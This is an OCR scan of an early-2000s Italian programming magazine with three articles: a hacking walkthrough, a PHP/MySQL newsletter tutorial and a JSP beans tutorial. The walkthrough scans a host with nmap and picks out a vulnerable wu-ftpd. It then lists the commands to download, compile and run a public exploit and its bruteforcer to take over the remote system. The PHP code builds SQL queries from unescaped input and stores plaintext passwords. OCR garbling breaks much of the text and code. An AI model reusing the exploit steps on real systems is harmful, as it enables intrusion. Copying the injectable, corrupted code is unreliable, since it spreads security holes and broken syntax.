Tabella 2 


usare le shell bucate, 
come punto di appoggio 
per eseguire dei 
programmini chiamati 


bots (gli eggdrop sono i 
piu' utilizzati) o come 
base per attacchi DoS 
(Denial of Service) come 


smurf, ping flood, syn 
flood, ecc. o attacchi 
DDoS (Distributed Denial 
of Service) come smurf 
distribuito, ping flood 
distribuito, syn flood 
distribuito (ricordiamo 
fra i programmi in grado 
di fare queste ultimi 
attacchi, il trinoo, ma ne 
esistono anche tanti 
altri). 


1° passo: l'host 
e attivo? Che tipo 
di server è ? 


Le prove effettuate in 
questo articolo sono 
state fatte su classi di ip 
privati e quindi su 
computer di proprietà di 
colui che scrive e quindi 
sono prove legali. 
Diffidiamo l'utilizzo di 
queste informazioni per 
utilizzi illeciti. Macchina 
da cui parte l'attacco e 
contemporaneamente 
macchina vittima = 
192.168.0.1 Possiamo 
continuare. Innanzitutto 
un'hacker si accerta che 
la macchina vittima sia 
connessa e quindi 
scriverà: 


ping 192.168.0.1 


Esempio di risposta in 
Tabella 1. La macchina 
risponde, quindi si puo' 
procedere ad uno scan. 
Ma cos'è uno scan? Si 
definisce scan (meglio 
dire portscan), quella 
procedura che ci 
consente di reperire i 
servizi attivi sulla 
macchina remota e di 
conseguenza ci consente 
di sapere se tale servizio 


è vulnerabile e consente 
quindi di “entrare” da 
remoto sul sistema 
ospite senza nessuna 
autorizzazione. Uno dei 
programmi migliori e 
più usati è l'nmap: 
http://www.insecure.org/ 
nmap/ Questo tool oltre 
a fare il portscanning di 
una macchina vittima, 
riesce a carpire la 
tipologia di sistema 
operativo installato 
(tramite una tecnica 


chiamata TCP/IP Stack 
Fingerprinting) Il 
comando impartito sarà 
quindi: 


./nmap -sS -0 192.168.0.1 


Abbiamo richiesto 
all'nmap un tipo di scan 
chiamato SynScan (setta 
la flag SYN nel 
pacchetto TCP/IP) ed in 
più abbiamo richiesto di 
dirci che tipo di sistema 
operativo stiamo 
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0112-exploits/01-wu261.c 
[Questo comando scarica dal sito web il file specificato e 
lo salva sul disco fisso] 


gcc -0 wuR61 ./01-wu261l.c 
[Compila il sorgente .c in un file eseguibile chiamato 
wu261] 


./wu261 
[Esegue wu261] 


cd woot-exploit/ 
[Questa cartella è stata generata dal programma da noi 
compilato, entriamoci...] 


./getaddr.sh 
[Generiamo il GOT addr, l'inpbuf e lo slow] 


{Esempio distro.h} 

// "name", 

// g&otaddr ,inpbuf ,slow, 

"RH7.0 - 2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", 
0x08070cb0,0x8084600, 0, 

"RH?7.2 - wu-2.6.1-18", // kanix - unverified 
0x08072af8,0x08085900, 0, 

"Special wu-2.6.1(2)", // my custom compile for testing 
0x0806ca48,0x0807e380, 0, 

{Fine Esempio} 


make both 
[Genera il programma che entra nel sistema remoto] 


./forcer 2 localhost 
[Lancia il bruteforce, per cercare alcuni parametri del 
sistema remoto importanti per entrare] 


./forcer magic 
[Terminata con successo la fase precedente, lanciamo 
questo comando per entrare nel sistema remoto] 


Tabella 3 


L’Home Page del sito www.packetstormsecurity.nl. 


attaccando. Dalla Figura 
1 notiamo come il 
programma ci fornisce la 
porta aperta ed il 
relativo servizio della 
porta; tuttavia sorge la 
necessità di capire il 
demone che gestisce la 
porta, ad esempio ci 
potrebbe ritornare utile 
capire il demone addetto 
alla porta 217/tcp (ftp) 
vedere la Tabella 2. È 
facile capire che il 
demone usato è il 
wuftpd versione 2.6.1-18, 
e che è vulnerabile!!! 
Nel nostro caso non 
sappiamo il sistema 
operativo utilizzato da 
remoto, poichè l'nmap 
non è riuscito a dare una 
risposta concreta, ma 
tenendo conto che il 
wuftpd è usato nella 
maggiorparte dei casi in 
Linux e che anche 
apache sia un server 
web usato sotto linux 
(MA NON SOLO !!!), 
prendiamo per buona 
l'ipotesi che il sistema 
remoto sia una Linux 
box. In altri casi nmap 


potrebbe restituire 
qualcosa del tipo: 


Remote operating system 
guess: Linux 2.1.122 - 
2.R.14 


2° passo: 
abbiamo le 
informazioni che 
ci OCCOTrONO... 
come entro nel 
sistema ? 


Packetstorm è 
sicuramente uno dei siti 
più conosciuti da coloro 
che si occupano di sicu- 
rezza di sistemi informa- 
tici, si tratta di un sito 
molto vasto ed è 
costantemente aggiorna- 
to. Da questo sito è 
possibile sapere quali 
demoni sono vulnerabili 
e trovare gli annessi 
programmi (exploit) per 
entrare nel sistema 
remoto. Come già 
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preannunciato il wuftpd aggiornando controllando le Bugtraq (http://www. 
2.6.1-18 è vulnerabile costantemente i advisiories che si securityfocus.com). 
quindi cerchiamo su pacchetti demoni e trovano ad esempio su Francesco Marasco 


packetstorm il relativo 
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L’Home Page di www.securityfocus.com. 


Conclusioni 


| passi sono stati 
semplici e non c'è 
bisogno di una grande 
conoscenza per fare ciò, 
ed infatti molta gente si 
spaccia per "hacker", 
imparando meccanica- 
mente tali pochi coman- 
di, non comprendendo 
l'essenza racchiusa in 
un programma che 
sfrutta una falla remota. 
Questo tipo di persone, 
si classifica sotto la 
dicitura Cracker e 
vengono chiamati Script 
Kiddies. Prevenire 
questo tipo di attacchi è 
praticamente 
impossibile al 100%, è 
comunque possibile 
preservare il proprio Figura 4 —— Tela nici 
sistema controllando Le fasi finali che portano ad assumere il controllo del sistema remoto. 


1... 00 


 CONAISCI |; jpg 
| programmazione... 


A VISUAL BASIC, JAVA E VISUAL C++ 


| do le i 
"letture giuste: 


\ 

I 

Pei 3 
n= MAS.DER 


di 


In questo 
articolo 
vedremo i 
vantaggi che 
possiamo 
ottenere dal 
rendere 
disponibile ai 
nostri utenti 
un servizio di 
newsletter e di 
come poteme 
implementare 
in PHP un 
semplice 
gestore. 


La funzione delle 
newsletter è quella 
di tenere 
periodicamente 
aggiornati gli 
utenti iscritti al 
servizio, a 
differenza delle 
mailing list dove è 
possibile realizzare 
delle vere e 
proprie 
“discussioni” 
pubbliche, su temi 
specifici. 
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Come bisognerebbe fare 
per ogni nuovo progetto, 
prima di affrontare le fasi 
di progettazione e, suc- 
cessivamente, di imple- 
mentazione, bisogna ave- 
re chiaro quale sia il pro- 
blema da affrontare e 
quale sia l’obiettivo da 
raggiungere ossia cosa 
vogliamo realizzare. Nel 
caso delle newsletter 
questa prima fase è più 
che mai importante in 
quanto ho avuto modo di 
notare un pò di confusio- 
ne sui nomi utilizzati per 
indicare 2 diversi servizi 
di comunicazione larga- 
mente utilizzati su Inter- 
net , e cioè: mailinglist e 
newsletter. Con il termine 
mailinglist in genere ci si 
riferisce ad un sistema di 
comunicazione di tipo 
“molti a molti”, basato 
sullo scambio di email. 
Ciascun utente apparte- 
nente alla lista può 
comunicare con tutti gli 
altri iscritti semplicemen- 
te preparando un comu- 
ne messaggio di posta 
elettronica ed inviandolo 
all'indirizzo che rappre- 
senta la mailinglist. Sarà 
il programma che gesti- 
sce la lista a reindirizzare 


il messaggio a tutti gli 
altri iscritti. In questo 
modo è possibile realiz- 
zare delle vere e proprie 
“discussioni” pubbliche, 
su temi specifici, senza la 
necessità di essere pre- 
senti tutti, contempora- 
neamente e nello stesso 
posto. 

Diverso invece è il ruolo 
delle newsletter, infatti in 
questo caso, la comuni- 
cazione è del tipo “uno a 
molti”. E' un solo sogget- 
to a produrre ed inviare 
le informazioni, sempre 
tramite email, a più uten- 
ti. 


Perche utilizzare 
le newsletter? 


La natura dell’informazio- 
ne varia da caso a caso, 
su Internet si possono 
trovare newsletter dedi- 
cate agli argomenti più 
disparati: quelle dedicata 
alla borsa tengono 
aggiornati gli utenti con 
ipotesi formulate da 
esperti analisti, altre 
dedicate alle offerte di 
lavoro comunicano le 
nuove proposte disponi- 
bili, le newsletter delle 
aziende tengono aggior- 
nati i clienti riguardo la 
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disponibilità di nuovi 
prodotti e servizi, e così 
via. Dal punto di vista del 
webmaster, dotare il pro- 
prio sito di una newslet- 
ter vuol dire avere a 
disposizione uno stru- 
mento capace di rafforza- 
re il proprio rapporto con 
gli utenti ed ottenere da 
loro delle informazioni di 
valore. Per questo moti- 
vo, in genere durante la 
fase di registrazione, vie- 
ne chiesto agli utenti di 
comunicare ulteriori 
informazioni non stretta- 
mente legate al recapito 
delle newsletter, ma che 
hanno lo scopo di inqua- 
drare meglio un profile 
medio degli utenti e 
quindi migliorare i servizi 
offerti. 

Così facendo i webma- 
ster hanno modo di sod- 
disfare i bisogni del pro- 
prio pubblico e trasfor- 
mare così i visitatori 
occasionali in utenti abi- 
tuali del sito. Altro van- 
taggio per i webmaster è 
quello di poter veicolare, 
insieme alle newsletter, 
dei piccoli messaggi pub- 
blicitari. Naturalmente 
senza esagerare, altri- 
menti si corre il rischio di 
perdere la fiducia degli 
utenti iscritti e veder 
aumentare le richieste di 
cancellazione dalla new- 
sletter. 
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Costruiamo la 
nostra newsletter 


Ora che abbiamo ben 
chiaro il funzionamento e 
l’utilità di un servizio di 
newsletter vediamo 
come poterne costruire 
un semplice ma efficace 
gestore. Nel nostro 
esempio utilizzeremo il 
PHP (www.php.net) come 
linguaggio di scripting ed 
il MySQL (www.mysgql. 
com) come sistema di 
database. Naturalmente 
quest’ultimo servirà a 
memorizzare tutte le 
informazioni necessarie 
al funzionamento del ser- 
vizio, quindi principal- 
mente le email degli 
utenti iscritti. 
Cercheremo di realizzare 
un sistema capace di 
gestire diverse newslet- 
ter attraverso una inter- 
faccia comune. Per rag- 
giungere lo scopo ed 
avere una sintassi più 
pulita utilizzeremo le 
capacità della program- 
mazione orientata agli 
oggetti, disponibile nel 
linguaggio PHP. Natural- 
mente le stesse funziona- 
lità potranno essere otte- 
nute utilizzando un qual- 
siasi altro linguaggio di 
scripting e qualsiasi altra 
tecnica di programmazio- 
ne. Lo schema del data- 
base che utilizzeremo 
(Tabella 1) è composto 
da 2 tabelle: Newsletter e 
Iscritti. Nella tabella 
Newsletter verranno 
memorizzate le informa- 
zioni utili a rappresentare 
le caratteristiche delle 
singole newsletter gestite 
dal sistema, vediamo 
brevemente il significato 
dei singoli campi: 


© id: identificativo univo- 
co assegnato dal siste- 
ma alla newsletter; 


° nome: nome della 
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< 
[sost osasssero se setta sesso seo nIsre seo nto teste 
® 


S newsletter.php - 16/01/2002 
* Antonio Pasqua <radar@myoffice.it> 
* 


TTTTTLESTITEII TRATTATI ENTI teitettnt/ 


class Newsletter { 
var $DB_NAME=""; 
var $DB_HOST=""; 
var $DB_USER=""; 
var $DB_PASS=""; 
var $ADMIN_USER; 
var $ADMIN_PASS; 
var $NL_NAME; 
var $_ERROR=0; 
var $_CONNECT; 


function Newsletter($nl_name,$user,$pass) { 

$this->_ERROR=0; 

if (I$user 11 I$pass ) { 

$this->_ERROR=201; 

return false; } 

if ( I$nl1_name ) { 

$this->_ERROR=802; 

return false; } 

if ( I$this->_CONNECT=mysq]_connect($this->DB_HO- 

ST,$this->DB_USER, 

$this->DB_PASS) ) { 

$this->_ERROR=101; 

return false; } 

if ( Imysql_select_db($this->DB_NAME, 

$this->_CONNECT) ) { 

$this->_ERROR=102; 

return false; } 

$this->ADMIN_USER=$user; 

$this->ADMIN_PASS=$pass; 

$this->NL_NAME=$nl_name; 

if ( I$this->get_id0 ) 

return false; 

return true; } 

function subscribe($email) { 

$this->_ERROR=0; 

if Clereg("A[-0-9A-Za-z._]+@[-0-9A-Za-z.]+ 
\.[A-Za-z](2,3}$",$email)) ( 

$this->_ERROR=82053; 

return false; } 

if ( I$id_newsletter=$this->get_idO ) 

return false; 

$uid="$id_newsletter:$email"; 

$uid=erypt($uid); 

$query= "insert into Iscritti (id newsletter, email, uid) 

values ($id_newsletter, \"$email\", \"$uid\")"; 

if ( $r=mysql_ query($query,$this->_CONNEOT) ) { 

$this->_ERROR=103; 

return false; } 

return true; } 

function unsubscribe($email,guid) { 

$this->_ERROR=0; 

if (lereg("[-0-9A-Za-2._]+@[-0-9A-Za-z.]+ 
\.[A-Za-2][2,3}$",$email)) { 

$this->_ERROR=£03; 

return false; } 

if ( strlen($uid)<6 ) { 

$this->_ERROR=207; 

return false; } 

if ( I$id_newsletter=$this->get_id) ) 

return false; 

$query="delete from Iscritti where 

id_newsletter=$id_newsletter and email=\"$email\" 
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and uid=\"$uid\""; 
if ( RIA Ro den ->_CONNECT) ) { 
$this->_ERROR=10: 
return false; } 
return true; } 
function send($subject,$msg) { 
$this->_ERROR=0; 
if ( I$subject ) { 
$this->_ERROR=204; 
return false; } 
if (I$msg){ 
$this->_ERROR=205; 
return false; } 
if ( strlen($msg) > 65536) I 
$this->_ ERROR=206; 
return false; } 
if ( I$id_newsletter=$this->get_idO ) 
return false; 
$query="select nome, mittente, firma, email 
from Newsletter where nome=\"$this->NL_NAME\"": 
if ( 1$r=mysql_query($query, $this->_CONNECT) ) { 
$this-> ERROR=1053; 
return false; } 
$d=mysql_fetch_array($r); 
$listname=$d[nome]; 
$sender=$d[mittente]; 
$sign=$d[firma]; 
$admin=$d[email]; 
$msg.="\n\n$sign"; 
$query="select id, email, uid 
from Iscritti where id_newsletter=$id_newsletter "; 
if ( I$r=mysql_query($query,$this->_CONNECT) ) { 
$this->_ERROR=103; 
return false; } 
$n_msg=0; 
$n_iscritti=mysql_ num_rows($r); 
flushO; 
$abort = ignore_user_abort(1); 
set_time_limit(600); 
for ($i=0; $i<$n_iscritti; $1++) ( 
$a=mysql_fetch_array($r); 
$extra_header="From: $sender\n"; 
$extra_header.="X-Mailer: $listname"; 
$tmp_msg=$msg; 
$tmp_msg.="\n---_____\n"j 
$tmp_msg.="Il tuo UID È: $dfuid]\n"; 
$tmp_msg=stripslashes($tmp_msg); 
$subject=stripslashes($subject); 
if (mail($d[emai]], $subject, $tmp_msg, $extra_header)) 


$this->_ ERROR=10]; 

return false; } 

$query= "select id, username, password 

from Newsletter where nome=\"$this->NL_NAME\""; 
if ( !$r=mysql_query($query,$this->_CONNECT) ) { 
$this->_ERROR=103; 

return false; } 

if ( mysql num_rows($r) == 0 ) { 
$this->_ERROR=104; 

return false; } 

$d=mysql_fetch_array($r); 

if ( $d[username]!="$this->ADMIN_USER" || 
$d{password]!="$this->ADMIN_PASS" ) { 
$tnis->_ERROR=105; 

return false; } 

return $d[id]; } 

] 


Classe Newsletter (newsletter. php). 


newsletter; 


e descrizione: breve 
descrizione degli argo- 


menti della newsletter; 


lizzato per la spedizione 
delle email; 


e mittente: nome del 
mittente che verrà uti- 


© firma: breve firma che 
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verrà accodata nel 
testo delle newsletter; 


* username: username 
dell'amministratore 
della newsletter; 


e password: password 
dell’amministratore 
della newsletter; 


° email: indirizzo email 
dell’amministratore 
della newsletter; 


mentre la tabella /scritti 
servirà a memorizzare le 
email degli utenti iscritti 
alle varie newsletter e, in 
aggiunta, altre informa- 
zioni di supporto, i campi 
sono: 


id: identificativo univo- 
co assegnato dal siste- 
ma all'utente iscritto; 


e id_newsletter: colle- 
gamento all'identificati- 
vo univoco di newslet- 
ter; 


email: email dell'uten- 
te iscritto; 


e uid: codice assegnato 
all'utente iscritto, utiliz- 
zato in fase di cancella- 
zione; 


Indipendentemente da 
come verrà implementa- 
to, un qualsiasi sistema 
per la gestione delle 
newsletter, dovrà offrire 
alcune funzionalità di 
base quali: iscrizione di 
un nuovo utente, cancel- 
lazione di un utente ed 
invio delle newsletter. 
Queste, nella nostra clas- 
se in PHP (listato presen- 
te sul CD allegato alla 
rivista nella directory: 
php-newsletter) vengono 
implementate attraverso 
3 metodi, vediamone le 
caratteristiche principali: 


subscribe($email) 
aggiunge l'email specifi- 
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subscribe($email) ) echo "Email iscritta alla newsletter"; 
else echo "Email non iscritta alla newsletter, 
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errore: ".$nl- ERROR; ? 


Script di iscrizione alla lista (subscribe. php) 


unsubscribe($email,$uid) ) echo "Email rimossa dalla 
newsletter"; else echo "Email non rimossa dalla newsletter, 
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errore: ".$n1-_ERROR; ? 


Script di cancellazione dalla lista (unsubscribe.php) 


CREATE TABLE Newsletter ( 


id int(10) unsigned DEFAULT '0' NOT NULL auto_incre- 


ment, 


nome varchar(64) DEFAULT '' NOT NULL, 


descrizione varchar(128), 
mittente varchar(128), 
firma varchar(255), 


username char(16) binary DEFAULT '' NOT NULL, 


password char(16) binary DEFAUL' 


email varchar(128), 
UNIQUE nome (nome), 


UNIQUE username (username), 


KEY id (id) 
di 


CREATE TABLE Iscritti ( 


'' NOT NULL, 


id int(10) unsigned DEFAULT '0' NOT NULL auto_incre- 


ment, 


id_ newsletter int(10) unsigned not null, 


email varchar(128) not null, 


uid varchar(64) binary not null, 


KEY id (id), 


UNIQUE utente (id_newsletter, email, uid) 


Tabella 1 


Schema del database. 


cata alla newsletter. Per 
evitare di memorizzare 
dati errati, prima di sal- 
vare le informazioni sul 
database viene effettuato 
un controllo sintattico 
dell'email specificata, 
inoltre per ogni email 
viene generato un codice 
alfanumerico (uid) che 
verrà utilizzato dal meto- 
do di cancellazione uten- 
te; 


- unsubscribe($email,$uid) 


rimuove l'email specifica- 
ta dalla newsletter. Il 
parametro aggiuntivo 
(uid) rappresenta una 
informazione di control- 
lo, dovrà essere indicata 
dall'utente che intende 
cancellarsi dalla newslet- 
ter. Questo accorgimento 
serve a garantire che la 
richiesta di cancellazione 
possa pervenire solo dal 
legittimo proprietario, 
cioè l'unico a conoscere 
l'’uid assegnato dal siste- 
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ma alla propria email. 
L'email verrà effettiva- 
mente rimossa dal siste- 
ma solo dopo aver verifi- 
cato la corrispondenza 
tra email e uid. 


- send($subject,$msg) 


invia una newsletter a 
tutti gli iscritti. | parame- 
tri verranno utilizzati, 
rispettivamente, come 
subject e corpo del mes- 
saggio da inviare. Inoltre, 
al testo del messaggio, 
verranno accodati la fir- 
ma (estratta dalla tabella 
Newsletter) e l'uid asso- 
ciato all'email di destina- 
zione. All'interno del 
metodo possiamo notare 
il codice: 


flushO; 

$abort = 
ignore_user_abort(1); 
set_time_limit(600); 


questo serve ad evitare 
problemi di timeout dello 
script in caso di spedizio- 
ne di newsletter a liste 
con molti iscritti. Infatti 
con la funzione flush() 
forziamo PHP a svuotare 
il buffer, in modo che tut- 
to l'output generato dallo 
script fino a questo pun- 
to venga inviato al brow- 
ser. Successivamente, 
tramite la ignore_user_ 
abort(1), indichiamo 
all'interprete PHP di igno- 
rare l'eventuale discon- 
nessione dell'utente (si 
verifica quando si clicca 
sul tasto stop del brow- 
ser). Così facendo, una 
volta avviata la funzione 
di invio delle newsletter, 
potremmo anche discon- 
netterci, lo script conti- 
nuerà ad essere eseguito. 
Con l’ultima funzione 
set_time_ limit(600), fis- 
siamo comunque il mas- 
simo tempo di esecuzio- 
ne dello script a 600 
secondi, un tempo più 
che sufficiente per la spe- 
dizione di centinaia di 
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messaggi. La classe 
Newsletter dispone inol- 
tre di un costruttore, indi- 
spensabile per istanziare 
correttamente l'oggetto 
con le informazioni della 
lista da utilizzare, e cioè: 


- Newsletter( 
$nl_name,$user,$pass) 


| parametri passati al 
costruttore servono ad 
identificare la newsletter 
che intendiamo utilizzare. 
| campi $user e $pass si 
riferiscono ai dati del- 
l'amministratore della 
specifica newsletter 
$nl_name (non dobbiamo 
dimenticare che la nostra 
classe permette di gesti- 
re, utilizzando un solo 
database, diverse new- 
sletter). 


Utilizziamo 
la newsletter 


Ora che abbiamo a 
disposizione tutti i “com- 
ponenti” necessari, pos- 
siamo analizzare le pro- 
cedure necessarie per 
attivare un servizio di 
newsletter. Omettiamo i 
particolari riguardo la 
creazione del database 
MySOL e del relativo 
amministratore; per 
informazioni dettagliate 
riguardo questa fase sug- 
geriamo la lettura del 
manuale del sistema 
MySQL. Supponiamo di 
aver creato il database 
“DBNewsletter” che ser- 
virà a gestire tutte le 
nostre newsletter e che i 
dati dell'amministratore, 
rispettivamente userna- 
me e password, siano 
“db_admin” e “db_pass”. 
Per fare in modo che la 
classe Newsletter sia in 
grado di poter leggere e 
manipolare le informazio- 
ni relative a tutte le new- 
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sletter presenti nel data- 
base è necessario specifi- 
carne i dati di accesso, in 
modo da avere: 


class Newsletter { 
var 
$DB_NAME="DBNewsletter"; 
var $DB_HOST= "localhost"; 
var $DB_USER= "db_ad- 
min"; 
var $DB_PASS="db_pass"; 


(in questo esempio assu- 
meremo che il database 
utilizzato sia installato 
sulla stessa macchina 
che esegue lo script, 
infatti abbiamo $DB_ 
HOST="localhost") A que- 
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values (“linuxmagazine”, 
“Newsletter dedicata 
alla rivista Linux Magazine”, 
“Redazione Linux Magazine”, 
“(firma ed informazioni sulla 
privacy)”, 
“Im_admin”, “lIm_password”, 
“newsletter@edmaster.it”) 


Possiamo quindi dedicar- 
ci alla scrittura dell’'inter- 
faccia utente che natural- 
mente sarà realizzata 
attraverso codice HTML e 
PHP. Le pagine HTML che 
permetteranno agli utenti 
di iscriversi alla newslet- 
ter e cancellarsi (listato 
1) presenteranno essen- 
zialmente una form nella 
quale specificare l'email 


1xx : errori di comunicazione con il server SOL 


101 : connessione fallita 
102 : database sconosciuto 


103 : errore nell'esecuzione della query 
104 : lista specificata non trovata 
105 : username o password errati 


2xx : errori autenticazione e sintattici 


201 : username o password non validi 
202 : lista non valida 
203 : formato email non valido 
204 : subject mancante 
205 : messaggio mancante 

206 : lunghezza messaggio maggiore di 64 KB 
207 : uid mancante 


Tabella 2 


Codici di errore restituiti dalla classe Newsletter. 


sto punto vogliamo atti- 
vare una newsletter chia- 
mata “/linuxmagazine”, il 
cui amministratore sia 
“Im_admin” e password 
“Im_password”. 
Innanzitutto dobbiamo 
inserire nel database i 
dati relativi alla nuova 
newsletter. Per fare que- 
sto effettuiamo, attraver- 
so lo strumento che pre- 
feriamo, la seguente 
query SQL: 


insert into Newsletter (nome, 
descrizione, mittente, firma, 
username, password, email) 


ed eventualmente l’uid. 
Gli script PHP per l'inseri- 
mento (listato 2) e la can- 
cellazione (listato 3) sono 
abbastanza simili, 
entrambi iniziano con la 
dichiarazione di un 
oggetto di tipo Newslet- 
ter e successivamente 
effettuano l’invocazione 
del metodo di inserimen- 
to (subscribe) o cancella- 
zione (unsubscribe). Que- 
sti, in base all'esito del- 
l'operazione, restituisco- 
no il valore true oppure 
false, in quest'ultimo 
caso possiamo leggere il 


a z i o n e 


contenuto della variabile 
_ERROR per avere una 
descrizione del tipo di 
errore riscontrato. L'uni- 
co elemento mancante è 
quello relativo alla com- 
posizione e spedizione 
del messaggio, ossia la 
newsletter vera e propria. 
Naturalmente, questa 
operazione, dovrà essere 
svolta solo dall'ammini- 
stratore della newsletter, 
quindi sarà nostra cura 
sistemare l'apposito 
script in una directory, 
del server web, non 
accessibile ai comuni 
utenti. Lo script viene uti- 
lizzato sia per visualizza- 
re la pagina HTML conte- 
nente la form che, suc- 
cessivamente, per inviare 
le newsletter. 


Conclusioni 


Abbiamo avuto modo di 
vedere quali sono i van- 
taggi, sia per l'utente e 
per il webmaster, deri- 
vanti dall'utilizzo delle 
newsletter e di come rea- 
lizzarne un semplice 
gestore. Naturalmente, la 
versione presentata in 
questo articolo, per poter 
essere realmente utilizza- 
ta avrà bisogno di alcune 
migliorìe, soprattutto nel- 
la validazione delle email 
durante la fase di iscrizio- 
ne, in modo da evitare di 
memorizzare email inesi- 
stenti oppure già iscritte. 
In seguito potrà essere 
facilmente arricchita con 
altre funzionalità, come 
ad esempio la possibilità 
di memorizzare altre 
informazioni (nome, atti- 
vità, data di nascita, ecc.) 
relative agli utenti iscritti, 
oppure salvare le new- 
sletter inviate, in modo 
da avere un archivio sto- 
rico di tutte le notizie 
comunicate agli utenti. 
Antonio Pasqua 
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Avevamo 
terminato lo 
SCOrso 
articolo con 
una vasta 
panoramica 
sulle 
caratteristiche 
principali di 
questo 
ambiente di 
sviluppo 
basato su 
java. 


Ora entreremo più nel 
dettaglio, esaminando 
insieme la creazione 
di una semplice 
applicazione di 
“servizio” via web, 
grazie alla quale 
avremo l'opportunità 
di dare uno sguardo al 
codice. 
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Java Server 
Pages, 


la prima applicazione 


Bean e visibilità 


Per la nostra applicazio- 
ne è necessario 
approfondire alcuni 
aspetti riguardanti l’uti- 
lizzo dei bean e la loro 
visibilità all’interno di 
un'applicazione jsp 
Oppure java in generale. 
Ricordiamo brevemente 
che un java-bean è un'i- 
stanza di una classe java 
serializzabile, che pub- 
blica le sue proprietà 
attraverso metodi, i cui 
nomi sono definiti in 
modo standard per per- 
mettere la modifica delle 
proprietà stesse anche 
attraverso strumenti di 
sviluppo visuali. Lo svi- 
luppo e lo scambio di 
bean sono ormai dive- 
nute attività molto 
importanti per lo svilup- 
patore java il quale, 
oltre a rendere il suo 
codice riusabile per 
future applicazioni (det- 
taglio di per sé centrale 
dell'attività di sviluppo 
del software), può riven- 
derlo a terzi. 

Per utilizzare un bean 
all'interno di una pagina 
si usa l'azione jsp: 


<jsp:usebean id="nomeBean” 
class="ProvaBean” 
scope="[page | request | ses- 
sion application)” /> 


in cui il parametro id 
indica il nome attraverso 
il quale questo bean 
sarà referenziato dagli 
eventuali scriptlet nella 
pagina, il parametro 
class indica la classe 
java del bean e infine il 
parametro scope indica 
l'ambito di visibilità del 
bean. Ecco un breve 
riassunto delle suddette 
proprietà: 


© page, un bean con 
questo attributo sarà 
visibile solo nella 
pagina corrente; nel 
caso in cui la pagina 
dovesse essere ricari- 
cata sarà creata una 
nuova istanza del 
bean. 


© request, in questo 
caso il bean sarà visi- 
bile solo nell'ambito 
di una richiesta; 
vedremo meglio in 
seguito cosa signifi- 
ca. 


© session, il bean sarà 


visibile nell'intera 
sessione e sarà con- 
diviso da tutte le 
pagine che l'utente 
sceglierà di visitare. 


e application, il bean 
sarà condiviso da tut- 
ti gli utenti che visita- 
no contemporanea- 
mente il sito. 


Vediamo un tipico 
esempio di bean con 
scope application: il 
contatore visite. Se siete 
degli sviluppatori web o 
anche dei semplici 
appassionati vi sarà 
sicuramente capitato di 
averne bisogno. 

Lo scopo del bean, 
sebbene ovvio, è di 
mantenere un conteggio 
del numero di visite 
(cioè contatti da parte di 
client browser) ad una 
nostra pagina. 

Vediamo di seguito il 
codice: 


public class CounterBean 
implements Serializable 


{ 
private int count; 


public CounterBean() 
{ 


count=0; 
} 


public synchronized int get 
CountO®) 
{ 


return count++; 


} 


Vediamo ora la pagina 
jsp: 


<%@ page language="java” 
contentType="text/html1” %> 


<jsp:useBean id="counter” 
class="CounterBean” 
scope="application”> 
<htmlb> 
<head> 
<title> Pagina di prova con 
tatore </title> 


</head> 


<body> 


<h1l> Benvenuto nella pagi- 
na di prova </h1l> 

<p> sei il visitatore numero 
<jsp:get Property 
name="counter” 
property="count” /> 


</body> 
</html> 


Ogni qualvolta un uten- 
te caricherà la nostra 
pagina, la proprietà 
count del bean counter 
verrà restituita dal tag 
<jsp:getProperty>, il 
quale invocherà il meto- 
do getCount del bean 
counter provocando l'in- 
cremento della variabile 
count. 

II metodo getCount() 
deve essere sincronizza- 
to per evitare conflitti 
dovuti ad accessi con- 
temporanei da parte di 
più utenti. 

In realtà in questo caso 
specifico le conseguenze 
non sarebbero state 


significative. 


Bean con 
scope request 


Un utilizzo tipico di 
questo tipo di bean è il 
recupero di dati inviati 
ad una pagina jsp 
attraverso una form, 
vediamo un esempio: 


<%@ page language="java” 
contentType= 
"text/html” %> 


<html> 

<head> 

<title> Pagina di che invia i 
dati </title> 

</head> 


<body> 


<form method="post” 
action="target.jsp"> 

Nome<input type="text" 
name="nome”><br> 

Cognome<input type="text” 

name="cognome”><br> 

<input type="submit”> 

</form> 

</body> 

</html> 


Esaminiamo target.jsp: 


<%@ page language="java” 
contentType="text/html” %> 


<jsp:useBean id="container” 
class="ContainerBean” sco- 
pe="request”> 
<jsp:set Property 
name="container” pro- 
perty="*" /> 
</jsp:useBean> 


<html> 
<head> 
<title> Pagina Target 
</title> 
</head> 


<body> 


P 


ro g r a 


Nome:<jsp:getProperty 
name="container” 
property="nome”/><br> 
Cognome:<jsp:getProperty 
name="container” pro- 
perty="cognome”/><br> 


</body> 
</html> 


Ed ecco il bean: 


public class ContainerBean 
implements Serializable 


private String nome; 
private String cognome; 


public ContainerBean) 
{ 
nome=””; 
cognome="”; 
} 


public void setNome (String 
nome) 
{ 
this.nome=nome; 
} 


public void setCognome 
(String cognome) 
this.cognome=cognome; 
gusti String getNome O) 
i return this.nome; 
} 


public String getCognome 0 
{ 
return this.cognome; 
} 
} 


La prima pagina 
contiene una semplice 
form che invia i 
parametri nome e 
cognome alla pagina 
target, la quale legge i 
due parametri attraverso 
un bean con scope 
request; esso contiene i 
metodi setNome e 
setCognome chiamati 
automaticamente dal 


contenitore jsp con la 
sintassi: 


<jsp:useBean id="container” 
class="ContainerBean” 
scope="request”> 
<jsp:set Property 
name="container” pro- 
perty="*” /> 
</jsp:useBean> 


presupponendo una 
corrispondenza tra i 
nomi dei parametri della 
form e le proprietà del 
bean. | dati vengono poi 
mostrati nella pagina 
per mezzo del tag 


<jsp:getProperty>. 


Bean con 
scope page 


Questo tipo di bean 
viene di solito utilizzato 
per fornire funzioni di 
utilità. Un esempio 
potrebbe essere una API 
per la formattazione 
dell'orario e della data 
corrente, inclusa una 
ulteriore formattazione 
html per l'output su 
pagina web. Spesso si 
utilizza questo attributo 
per usare bean che 
accedono a basi di dati. 


Bean con scope 
session 


I bean con scope 
session sono molto 
usati nelle applicazioni 
web orientate al 
commercio elettronico e 
al miglioramento dell’ 
interattività nella visita 
di un sito. Un esempio 
tipico è il carrello della 
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ti 


spesa di un sito di 
e-commerce oppure un 
bean che mantiene i dati 
di login dell’ utente e le 
sue scelte durante la 
navigazione. Vedremo 
nei prossimi articoli 
l'implementazione di un 
carrello che illustra 
l'utilizzo di questo tipo 
di bean. 


Un semplice 
guesthook 


Vediamo insieme una 
applicazione un pò più 
articolata che ci faccia 
intuire meglio l’uso dei 
bean con scope 
application in una 
caratteristica sempre 
richiestissima nei siti 
che visitiamo su 
Internet: il guestbook (0 
libro degli ospiti). 
Naturalmente apportia- 
mo delle semplificazioni 
al mini-progetto in 
modo da poterlo 
